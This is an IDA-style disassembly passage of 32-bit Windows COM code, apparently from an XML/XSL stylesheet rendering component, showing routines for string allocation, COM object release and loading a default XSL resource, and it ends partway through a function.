; int __stdcall sub_69B82200(LPCWSTR lpString, int)
sub_69B82200 proc near ; CODE XREF: sub_69B8283E+7j
; sub_69B828E4+E6p ...
lpString = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
test eax, eax
push esi
push edi
mov edi, [ebp+lpString]
mov esi, ecx
jnz short loc_69B82220
cmp word ptr [edi], 0
jz short loc_69B8223D
push edi ; lpString
call ds:lstrlenW ; lstrlenW
test eax, eax
loc_69B82220: ; CODE XREF: sub_69B82200+Fj
jbe short loc_69B8223D
cmp dword ptr [esi+30h], 0
jz short loc_69B8223D
mov ecx, [esi+30h]
and [ebp+arg_4], 0
mov edx, [ecx]
lea esi, [ebp+arg_4]
push esi
add eax, eax
push eax
push edi
push ecx
call dword ptr [edx+10h]
loc_69B8223D: ; CODE XREF: sub_69B82200+15j
; sub_69B82200:loc_69B82220j ...
pop edi
pop esi
pop ebp
retn 8
sub_69B82200 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B82243 proc near ; CODE XREF: sub_69B837DF+4Ep
; sub_69B842BA+29p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
xor ebx, ebx
mov edi, ecx
cmp [edi+38h], ebx
mov [ebp+var_4], ebx
jz short loc_69B8228C
mov eax, [edi+38h]
mov ecx, [eax]
push esi
push eax
call dword ptr [ecx+0F0h]
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_69B8228C
mov eax, [esi]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push eax
call dword ptr [ecx+1Ch]
cmp [ebp+var_4], ebx
jnz short loc_69B822C4
mov eax, [esi]
cmp eax, ebx
jz short loc_69B8228A
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B8228A: ; CODE XREF: sub_69B82243+3Fj
mov [esi], ebx
loc_69B8228C: ; CODE XREF: sub_69B82243+14j
; sub_69B82243+28j
cmp [edi+48h], ebx
jz short loc_69B822C4
mov edi, [edi+48h]
mov eax, [edi]
push esi
push edi
call dword ptr [eax+0F0h]
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_69B822C4
mov eax, [esi]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push eax
call dword ptr [ecx+1Ch]
cmp [ebp+var_4], ebx
jnz short loc_69B822C4
mov eax, [esi]
cmp eax, ebx
jz short loc_69B822C2
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B822C2: ; CODE XREF: sub_69B82243+77j
mov [esi], ebx
loc_69B822C4: ; CODE XREF: sub_69B82243+39j
; sub_69B82243+4Cj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B82243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B822CE proc near ; CODE XREF: sub_69B81A7A+6p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
mov esi, ecx
mov eax, [esi+30h]
push edi
xor edi, edi
cmp eax, edi
mov [ebp+var_4], 80004005h
mov [ebp+var_C], edi
mov [ebp+var_10], edi
mov [ebp+var_8], edi
mov [ebp+var_14], edi
mov [ebp+var_18], edi
jz short loc_69B8230A
mov eax, [eax+28h]
cmp eax, edi
jz short loc_69B8230A
mov ecx, eax
call sub_69B81644
mov [ebp+var_1C], eax
jmp short loc_69B8230D
; ---------------------------------------------------------------------------
loc_69B8230A: ; CODE XREF: sub_69B822CE+27j
; sub_69B822CE+2Ej
mov [ebp+var_1C], edi
loc_69B8230D: ; CODE XREF: sub_69B822CE+3Aj
mov eax, [ebp+var_1C]
cmp eax, edi
jz loc_69B823BC
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push (offset loc_69B2B07C+4)
push eax
call dword ptr [ecx]
cmp eax, edi
mov [ebp+var_4], eax
jl loc_69B823BC
push ebx
mov ebx, SysAllocString
push offset aXmldocument ; "XMLDocument"
call ebx ; SysAllocString
cmp eax, edi
mov [ebp+var_14], eax
jnz short loc_69B8234F
mov [ebp+var_4], 8007000Eh
jmp short loc_69B823BB
; ---------------------------------------------------------------------------
loc_69B8234F: ; CODE XREF: sub_69B822CE+76j
mov eax, [esi+38h]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
mov edi, offset dword_69B2AFE0
push edi
push eax
call dword ptr [ecx]
test eax, eax
mov [ebp+var_4], eax
jl short loc_69B823B9
push [ebp+var_C]
push [ebp+var_8]
push [ebp+var_14]
call sub_69B81952
test eax, eax
mov [ebp+var_4], eax
jl short loc_69B823B9
push offset aXsldocument ; "XSLDocument"
call ebx ; SysAllocString
test eax, eax
mov [ebp+var_18], eax
jnz short loc_69B82394
mov [ebp+var_4], 8007000Eh
jmp short loc_69B823B9
; ---------------------------------------------------------------------------
loc_69B82394: ; CODE XREF: sub_69B822CE+BBj
mov esi, [esi+48h]
mov eax, [esi]
lea ecx, [ebp+var_10]
push ecx
push edi
push esi
call dword ptr [eax]
test eax, eax
mov [ebp+var_4], eax
jl short loc_69B823B9
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_18]
call sub_69B81952
mov [ebp+var_4], eax
loc_69B823B9: ; CODE XREF: sub_69B822CE+98j
; sub_69B822CE+ADj ...
xor edi, edi
loc_69B823BB: ; CODE XREF: sub_69B822CE+7Fj
pop ebx
loc_69B823BC: ; CODE XREF: sub_69B822CE+44j
; sub_69B822CE+5Dj
mov eax, [ebp+var_C]
cmp eax, edi
jz short loc_69B823C9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B823C9: ; CODE XREF: sub_69B822CE+F3j
mov eax, [ebp+var_10]
cmp eax, edi
mov [ebp+var_C], edi
jz short loc_69B823D9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B823D9: ; CODE XREF: sub_69B822CE+103j
mov eax, [ebp+var_8]
cmp eax, edi
mov [ebp+var_10], edi
jz short loc_69B823E9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B823E9: ; CODE XREF: sub_69B822CE+113j
cmp [ebp+var_14], edi
mov esi, SysFreeString
mov [ebp+var_8], edi
jz short loc_69B823FC
push [ebp+var_14] ; BSTR
call esi ; SysFreeString
loc_69B823FC: ; CODE XREF: sub_69B822CE+127j
cmp [ebp+var_18], edi
jz short loc_69B82406
push [ebp+var_18] ; BSTR
call esi ; SysFreeString
loc_69B82406: ; CODE XREF: sub_69B822CE+131j
mov eax, [ebp+var_1C]
cmp eax, edi
pop edi
pop esi
jz short loc_69B82415
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82415: ; CODE XREF: sub_69B822CE+13Fj
mov eax, [ebp+var_4]
leave
retn
sub_69B822CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8241A proc near ; CODE XREF: sub_69B83AAA+245p
pvarg = VARIANTARG ptr -24h
lpMultiByteStr = dword ptr -14h
cchWideChar = dword ptr -10h
cchMultiByte = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push edi
lea eax, [ebp+cchMultiByte]
push eax ; int
push 17h ; lpType
xor ebx, ebx
push offset Name ; lpName
mov word ptr [ebp+pvarg.anonymous_0], 1
mov [ebp+var_8], ebx
call sub_69B2F67F
cmp eax, ebx
mov [ebp+lpMultiByteStr], eax
jnz short loc_69B8244E
mov edi, 0C00CE512h
jmp loc_69B824EF
; ---------------------------------------------------------------------------
loc_69B8244E: ; CODE XREF: sub_69B8241A+28j
push esi
mov esi, ds:MultiByteToWideChar
push ebx ; cchWideChar
push ebx ; lpWideCharStr
push [ebp+cchMultiByte] ; cchMultiByte
push eax ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
call esi ; MultiByteToWideChar
lea edi, [eax+eax]
mov [ebp+cchWideChar], eax
lea eax, [edi+2]
push eax
call sub_69B11E44
cmp eax, ebx
mov [ebp+var_8], eax
jnz short loc_69B8247C
loc_69B82475: ; CODE XREF: sub_69B8241A+87j
mov edi, 8007000Eh
jmp short loc_69B824EE
; ---------------------------------------------------------------------------
loc_69B8247C: ; CODE XREF: sub_69B8241A+59j
push [ebp+cchWideChar] ; cchWideChar
push eax ; lpWideCharStr
push [ebp+cchMultiByte] ; cchMultiByte
push [ebp+lpMultiByteStr] ; lpMultiByteStr
push ebx ; dwFlags
push ebx ; CodePage
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_69B824E9
mov eax, [ebp+var_8]
push eax ; OLECHAR *
mov [edi+eax], bx
call SysAllocString
cmp eax, ebx
mov dword ptr [ebp+pvarg.anonymous_0+8], eax
jz short loc_69B82475
mov esi, [ebp+arg_0]
mov eax, [esi]
push ebx
push esi
call dword ptr [eax+110h]
mov edi, eax
cmp edi, ebx
jl short loc_69B824EE
mov eax, [esi]
push 0FFFFFFFFh
push esi
call dword ptr [eax+118h]
mov edi, eax
cmp edi, ebx
jl short loc_69B824EE
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
push dword ptr [ebp+pvarg.anonymous_0+8]
mov word ptr [ebp+pvarg.anonymous_0], 8
push esi
call dword ptr [eax+104h]
mov edi, eax
cmp edi, ebx
jl short loc_69B824EE
cmp [ebp+var_4], bx
jnz short loc_69B824EE
loc_69B824E9: ; CODE XREF: sub_69B8241A+72j
mov edi, 80004005h
loc_69B824EE: ; CODE XREF: sub_69B8241A+60j
; sub_69B8241A+9Aj ...
pop esi
loc_69B824EF: ; CODE XREF: sub_69B8241A+2Fj
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
cmp [ebp+var_8], ebx
jz short loc_69B82506
push [ebp+var_8]
call sub_69B1B2B7
loc_69B82506: ; CODE XREF: sub_69B8241A+E2j
mov eax, edi
pop edi
pop ebx
leave
retn 4
sub_69B8241A endp
; ---------------------------------------------------------------------------
align 10h
; char Name[]
Name dd 41464544h, 53544C55h, 53582E53h ; DATA XREF: sub_69B8241A+10o
db 4Ch, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8251E proc near ; CODE XREF: sub_69B83AAA+108p
; sub_69B83AAA+205p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_4]
mov eax, [esi]
push edi
lea ecx, [ebp+var_4]
push ecx
push offset dword_69B2B0C0
push esi
call dword ptr [eax]
mov edi, eax
test edi, edi
jl short loc_69B82557
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov edi, eax
test edi, edi
jl short loc_69B82557
push esi
call sub_69B7E0EC
loc_69B82557: ; CODE XREF: sub_69B8251E+1Fj
; sub_69B8251E+31j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B82564
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82564: ; CODE XREF: sub_69B8251E+3Ej
mov eax, edi
pop edi
pop esi
leave
retn 8
sub_69B8251E endp
; =============== S U B R O U T I N E =======================================
sub_69B8256C proc near ; CODE XREF: sub_69B82F37+A0p
push esi
mov esi, ecx
mov eax, [esi+30h]
test eax, eax
jz short loc_69B82588
mov eax, [eax+28h]
test eax, eax
jz short loc_69B82588
push 0
push 0
mov ecx, eax
call sub_69B81633
loc_69B82588: ; CODE XREF: sub_69B8256C+8j
; sub_69B8256C+Fj
mov eax, [esi+30h]
test eax, eax
jz short loc_69B82595
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82595: ; CODE XREF: sub_69B8256C+21j
and dword ptr [esi+30h], 0
pop esi
retn
sub_69B8256C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8259B proc near ; CODE XREF: sub_69B81A7A+10p
; sub_69B83AAA+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov eax, [edi+30h]
xor esi, esi
xor ebx, ebx
cmp eax, esi
mov [ebp+var_4], esi
jz short loc_69B825C2
mov eax, [eax+28h]
cmp eax, esi
jz short loc_69B825C2
mov ecx, eax
call sub_69B81644
mov esi, eax
loc_69B825C2: ; CODE XREF: sub_69B8259B+15j
; sub_69B8259B+1Cj
test esi, esi
jz short loc_69B825FE
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
push offset dword_69B82624
push esi
call dword ptr [eax]
mov ebx, eax
test ebx, ebx
jl short loc_69B825FE
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B8260B
push [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov ebx, eax
test ebx, ebx
jnz short loc_69B825FE
cmp word ptr [ebp+arg_0], 0FFFFh
setz al
mov [edi+81h], al
loc_69B825FE: ; CODE XREF: sub_69B8259B+29j
; sub_69B8259B+3Dj ...
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B8260B
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B8260B: ; CODE XREF: sub_69B8259B+44j
; sub_69B8259B+68j
and [ebp+var_4], 0
test esi, esi
jz short loc_69B82619
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B82619: ; CODE XREF: sub_69B8259B+76j
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn 4
sub_69B8259B endp
; ---------------------------------------------------------------------------
align 4
dword_69B82624 dd 0E4E23071h, 11D24D07h, 800076AEh, 99C13BC7h
; =============== S U B R O U T I N E =======================================
sub_69B82634 proc near ; CODE XREF: sub_69B81389+65p
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi+3Ch]
test eax, eax
jz short loc_69B82644
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82644: ; CODE XREF: sub_69B82634+8j
mov eax, [esp+4+arg_0]
mov [esi+3Ch], eax
pop esi
retn 4
sub_69B82634 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8264F proc near ; CODE XREF: sub_69B834CD+4Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
and [ebp+var_8], 0
push ebx
push esi
push edi
lea edx, [ebp+var_4]
mov esi, ecx
mov eax, [esi+48h]
mov ecx, [eax]
push edx
mov edi, offset dword_69B25E54
push edi
push eax
call dword ptr [ecx]
mov ebx, eax
test ebx, ebx
jl short loc_69B826B0
mov eax, [esi+38h]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push edi
push eax
call dword ptr [ecx]
mov ebx, eax
test ebx, ebx
jl short loc_69B826B0
lea edi, [esi+14h]
push edi
call sub_69B6F759
mov ebx, eax
test ebx, ebx
jl short loc_69B826B0
mov eax, [edi]
mov ecx, [eax]
push 0
push dword ptr [esi+30h]
push [ebp+var_8]
push [ebp+var_4]
push eax
call dword ptr [ecx+0Ch]
mov ebx, eax
loc_69B826B0: ; CODE XREF: sub_69B8264F+28j
; sub_69B8264F+3Bj ...
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B826BD
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B826BD: ; CODE XREF: sub_69B8264F+66j
mov eax, [ebp+var_8]
and [ebp+var_4], 0
test eax, eax
jz short loc_69B826CE
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B826CE: ; CODE XREF: sub_69B8264F+77j
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn
sub_69B8264F endp
; =============== S U B R O U T I N E =======================================
sub_69B826D5 proc near ; CODE XREF: sub_69B8156C+57p
arg_0 = dword ptr 4
cmp dword ptr [ecx+14h], 0
jz short loc_69B826EA
mov eax, [ecx+14h]
push [esp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
jmp short locret_69B826EF
; ---------------------------------------------------------------------------
loc_69B826EA: ; CODE XREF: sub_69B826D5+4j
mov eax, 80004005h
locret_69B826EF: ; CODE XREF: sub_69B826D5+13j
retn 4
sub_69B826D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B826F2 proc near ; CODE XREF: sub_69B83AAA+139p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
mov [ebp+var_C], edi
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_69B80FE6
xor ebx, ebx
inc ebx
test eax, eax
jl loc_69B827BA
push offset stru_69B9B6A0 ; lpCriticalSection
call ds:EnterCriticalSection
mov ecx, dword_69B95AD8
call sub_69B80E07
test eax, eax
mov [ebp+var_8], eax
jz short loc_69B827AF
mov eax, [ebp+arg_0]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset stru_69B25E84
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B827AF
cmp [ebp+var_4], edi
jz short loc_69B827AF
push 24h
call sub_69B11E44
test eax, eax
jz short loc_69B82772
push [ebp+arg_4]
mov ecx, eax
push dword ptr [esi+24h]
push esi
push [ebp+var_4]
push [ebp+var_8]
call sub_69B80F83
mov edi, eax
jmp short loc_69B82774
; ---------------------------------------------------------------------------
loc_69B82772: ; CODE XREF: sub_69B826F2+66j
xor edi, edi
loc_69B82774: ; CODE XREF: sub_69B826F2+7Ej
test edi, edi
jz short loc_69B827AF
mov ecx, dword_69B95ADC
push edi
call sub_69B80A6F
test eax, eax
jz short loc_69B827AF
push pHandles ; hEvent
call ds:SetEvent ; SetEvent
test eax, eax
jz short loc_69B827AF
push [ebp+var_8]
mov ecx, [esi+30h]
call sub_69B82198
mov eax, [esi+20h]
mov [eax+1Ch], ebx
mov [esi+28h], ebx
mov [ebp+var_C], ebx
loc_69B827AF: ; CODE XREF: sub_69B826F2+41j
; sub_69B826F2+56j ...
push offset stru_69B9B6A0 ; lpCriticalSection
call ds:LeaveCriticalSection
loc_69B827BA: ; CODE XREF: sub_69B826F2+20j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B827C7
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B827C7: ; CODE XREF: sub_69B826F2+CDj
and [ebp+var_4], 0
cmp dword ptr [esi+28h], 0
jnz short loc_69B827DC
test edi, edi
jz short loc_69B827DC
mov eax, [edi]
push ebx
mov ecx, edi
call dword ptr [eax]
loc_69B827DC: ; CODE XREF: sub_69B826F2+DDj
; sub_69B826F2+E1j
cmp [ebp+var_8], 0
pop edi
pop esi
pop ebx
jz short loc_69B827F7
mov ecx, dword_69B95AD8
test ecx, ecx
jz short loc_69B827F7
push [ebp+var_8]
call sub_69B808E7
loc_69B827F7: ; CODE XREF: sub_69B826F2+F1j
; sub_69B826F2+FBj
mov eax, [ebp+var_C]
leave
retn 8
sub_69B826F2 endp
; =============== S U B R O U T I N E =======================================
sub_69B827FE proc near ; CODE XREF: sub_69B80B78+11p
push esi
mov esi, ecx
mov eax, [esi+48h]
test eax, eax
jz short loc_69B8280E
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B8280E: ; CODE XREF: sub_69B827FE+8j
mov eax, [esi+38h]
and dword ptr [esi+48h], 0
test eax, eax
jz short loc_69B8281F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B8281F: ; CODE XREF: sub_69B827FE+19j
and dword ptr [esi+38h], 0
pop esi
retn
sub_69B827FE endp
; =============== S U B R O U T I N E =======================================
sub_69B82825 proc near ; CODE XREF: sub_69B83984+CCp
mov eax, [ecx+14h]
test eax, eax
jz short loc_69B82834
push eax ; OLECHAR *
call SysAllocString
retn
; ---------------------------------------------------------------------------
loc_69B82834: ; CODE XREF: sub_69B82825+5j
xor eax, eax
retn
sub_69B82825 endp
; =============== S U B R O U T I N E =======================================
sub_69B82837 proc near ; DATA XREF: .text:69B1F700o
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
retn 14h
sub_69B82837 endp
; =============== S U B R O U T I N E =======================================
sub_69B8283E proc near ; CODE XREF: sub_69B82FEB+75p
; sub_69B831E9+68p ...
call sub_69B821E5
test eax, eax
jnz sub_69B82200
retn 8
sub_69B8283E endp
; =============== S U B R O U T I N E =======================================
sub_69B8284E proc near ; CODE XREF: sub_69B8436C+100p
; sub_69B8436C+148p
push 1Ch
push offset dword_69B828D8
call sub_69B19C5C
mov edi, ecx
mov esi, [ebp+8]
xor ebx, ebx
cmp esi, ebx
jz short loc_69B828D0
cmp [edi+44h], ebx
jz short loc_69B828D0
mov [ebp-4], ebx
mov [ebp-1Ch], ebx
mov eax, [esi]
push esi
call dword ptr [eax+18h]
mov [ebp-20h], eax
mov eax, [esi]
push esi
call dword ptr [eax+1Ch]
mov [ebp-24h], eax
mov eax, [esi]
lea ecx, [ebp-1Ch]
push ecx
push esi
call dword ptr [eax+34h]
push ebx
push 0C00CE513h
call sub_69B2F944
pop ecx
pop ecx
mov esi, eax
mov [ebp-28h], esi
mov eax, [esi+0Ch]
mov [ebp-2Ch], eax
mov ecx, [edi+44h]
mov edx, [ecx]
push ebx
push eax
push dword ptr [ebp-24h]
push dword ptr [ebp-20h]
push dword ptr [ebp-1Ch]
call dword ptr [edx+14h]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+30h]
jmp short loc_69B828CC
; ---------------------------------------------------------------------------
loc_69B828C0: ; DATA XREF: .text:69B828DCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B828C9: ; DATA XREF: .text:69B828E0o
mov esp, [ebp-18h]
loc_69B828CC: ; CODE XREF: sub_69B8284E+70j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B828D0: ; CODE XREF: sub_69B8284E+15j
; sub_69B8284E+1Aj
call sub_69B1853C
retn 8
sub_69B8284E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_69B828D8 dd 0FFFFFFFFh dd offset loc_69B828C0
dd offset loc_69B828C9
; =============== S U B R O U T I N E =======================================
sub_69B828E4 proc near ; CODE XREF: sub_69B82A4C+54p
; sub_69B837DF+15Ep
push 30h
push offset dword_69B82A40
call sub_69B19C5C
mov edi, ecx
mov [ebp-1Ch], edi
call dword_69B92948
mov [ebp-20h], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B8290E
mov eax, 80004005h
jmp loc_69B82A15
; ---------------------------------------------------------------------------
loc_69B8290E: ; CODE XREF: sub_69B828E4+1Ej
push ebx
push eax
lea ecx, [ebp-2Ch]
call sub_69B1A8C7
lea eax, [edi+80h]
cmp [eax], bl
jnz loc_69B82A02
cmp [edi+30h], ebx
jz loc_69B82A02
mov byte ptr [eax], 1
mov [ebp-4], ebx
cmp [ebp+0Ch], ebx
jz short loc_69B8294C
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
mov [ebp-30h], eax
mov esi, offset off_69B1A5AC
jmp short loc_69B82954
; ---------------------------------------------------------------------------
loc_69B8294C: ; CODE XREF: sub_69B828E4+54j
mov esi, offset off_69B1A5AC
mov [ebp-30h], esi
loc_69B82954: ; CODE XREF: sub_69B828E4+66j
mov eax, [edi+58h]
cmp eax, ebx
jnz short loc_69B82960
mov [ebp-34h], esi
jmp short loc_69B82978
; ---------------------------------------------------------------------------
loc_69B82960: ; CODE XREF: sub_69B828E4+75j
cmp eax, 1
mov eax, offset aCss ; "CSS"
jz short loc_69B8296F
mov eax, offset aXsl ; "XSL"
loc_69B8296F: ; CODE XREF: sub_69B828E4+84j
push eax ; lpString
call sub_69B1A587
mov [ebp-34h], eax
loc_69B82978: ; CODE XREF: sub_69B828E4+7Aj
cmp [ebp+8], ebx
jz short loc_69B8298A
push dword ptr [ebp+8] ; lpString
call sub_69B1A587
mov [ebp-38h], eax
jmp short loc_69B8298D
; ---------------------------------------------------------------------------
loc_69B8298A: ; CODE XREF: sub_69B828E4+97j
mov [ebp-38h], esi
loc_69B8298D: ; CODE XREF: sub_69B828E4+A4j
cmp [edi+81h], bl
jz short loc_69B829A1
push offset aHtml ; "html:"
call sub_69B1A587
jmp short loc_69B829A3
; ---------------------------------------------------------------------------
loc_69B829A1: ; CODE XREF: sub_69B828E4+AFj
mov eax, esi
loc_69B829A3: ; CODE XREF: sub_69B828E4+BBj
push ebx
push dword ptr [ebp-30h]
push dword ptr [ebp-34h]
push dword ptr [ebp-38h]
push eax
push 0C00CE400h
call sub_69B2F944
add esp, 18h
mov esi, eax
mov [ebp-3Ch], esi
mov eax, [esi+0Ch]
mov [ebp-40h], eax
push ebx ; int
push eax ; lpString
mov ecx, edi
call sub_69B82200
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+30h]
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B829F1
; ---------------------------------------------------------------------------
loc_69B829DC: ; DATA XREF: .text:69B82A44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B829E5: ; DATA XREF: .text:69B82A48o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
mov edi, [ebp-1Ch]
loc_69B829F1: ; CODE XREF: sub_69B828E4+F6j
mov eax, [edi+30h]
mov byte ptr [eax+1Dh], 1
mov edi, [edi+30h]
mov eax, [edi]
push ebx
push edi
call dword ptr [eax+20h]
loc_69B82A02: ; CODE XREF: sub_69B828E4+3Cj
; sub_69B828E4+45j
lea ecx, [ebp-2Ch]
call sub_69B1976C
push dword ptr [ebp-20h]
call dword_69B92944
xor eax, eax
loc_69B82A15: ; CODE XREF: sub_69B828E4+25j
call sub_69B1853C
retn 8
sub_69B828E4 endp
; ---------------------------------------------------------------------------
align 10h
; const WCHAR aHtml
aHtml: ; DATA XREF: sub_69B828E4+B1o
unicode 0, <html:>,0
aXsl: ; DATA XREF: sub_69B828E4+86o
unicode 0, <XSL>,0
; const WCHAR aCss
aCss: ; DATA XREF: sub_69B828E4+7Fo
unicode 0, <CSS>,0
align 10h
dword_69B82A40 dd 0FFFFFFFFh dd offset loc_69B829DC
dd offset loc_69B829E5
; =============== S U B R O U T I N E =======================================
sub_69B82A4C proc near ; CODE XREF: sub_69B80B3C+Ap
; sub_69B82F37+A7p ...
push esi
mov esi, ecx
mov eax, [esi+14h]
push edi
xor edi, edi
cmp eax, edi
jz short loc_69B82A7F
mov ecx, [eax]
push eax
call dword ptr [ecx+14h]
mov eax, [esi+14h]
cmp eax, edi
jz short loc_69B82A6C
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82A6C: ; CODE XREF: sub_69B82A4C+18j
mov eax, [esi+48h]
cmp eax, edi
mov [esi+14h], edi
jz short loc_69B82A7C
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82A7C: ; CODE XREF: sub_69B82A4C+28j
mov [esi+48h], edi
loc_69B82A7F: ; CODE XREF: sub_69B82A4C+Bj
mov eax, [esi+84h]
cmp eax, edi
jz short loc_69B82AB7
mov ecx, [esi+44h]
mov edx, [ecx]
push 1
push eax
push edi
push edi
push edi
call dword ptr [edx+14h]
push edi
push dword ptr [esi+84h]
mov ecx, esi
call sub_69B828E4
push dword ptr [esi+84h] ; BSTR
call SysFreeString
mov [esi+84h], edi
loc_69B82AB7: ; CODE XREF: sub_69B82A4C+3Bj
pop edi
pop esi
retn
sub_69B82A4C endp
; =============== S U B R O U T I N E =======================================
sub_69B82ABA proc near ; CODE XREF: sub_69B8363D+3p
push esi
mov esi, ecx
mov eax, [esi+10h]
test eax, eax
push edi
mov edi, SysFreeString
mov dword ptr [esi-4], offset off_69B1F6E8
mov dword ptr [esi], offset off_69B2A840
jz short loc_69B82ADB
push eax ; BSTR
call edi ; SysFreeString
loc_69B82ADB: ; CODE XREF: sub_69B82ABA+1Cj
mov eax, [esi+0Ch]
and dword ptr [esi+10h], 0
test eax, eax
jz short loc_69B82AE9
push eax ; BSTR
call edi ; SysFreeString
loc_69B82AE9: ; CODE XREF: sub_69B82ABA+2Aj
and dword ptr [esi+0Ch], 0
pop edi
pop esi
jmp sub_69B2C65C
sub_69B82ABA endp
; =============== S U B R O U T I N E =======================================
sub_69B82AF4 proc near ; DATA XREF: .text:69B12B6Co
; .text:69B12C10o ...
xor eax, eax
retn 0Ch
sub_69B82AF4 endp
; =============== S U B R O U T I N E =======================================
sub_69B82AF9 proc near ; DATA XREF: .text:69B1F6FCo
xor eax, eax
retn 10h
sub_69B82AF9 endp
; =============== S U B R O U T I N E =======================================
sub_69B82AFE proc near ; CODE XREF: .text:69B82B25j
; DATA XREF: .text:69B16BBCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
push 15h
mov [edx], ecx
pop ecx
lea esi, [eax+20h]
rep movsd
pop edi
xor eax, eax
pop esi
retn 0Ch
sub_69B82AFE endp
; ---------------------------------------------------------------------------
loc_69B82B20: ; DATA XREF: .text:69B16B90o
sub dword ptr [esp+4], 14h
jmp short sub_69B82AFE
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B82B27(BSTR lpString, int)
sub_69B82B27 proc near ; CODE XREF: sub_69B837DF+E2p
; sub_69B837DF+116p
lpString = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
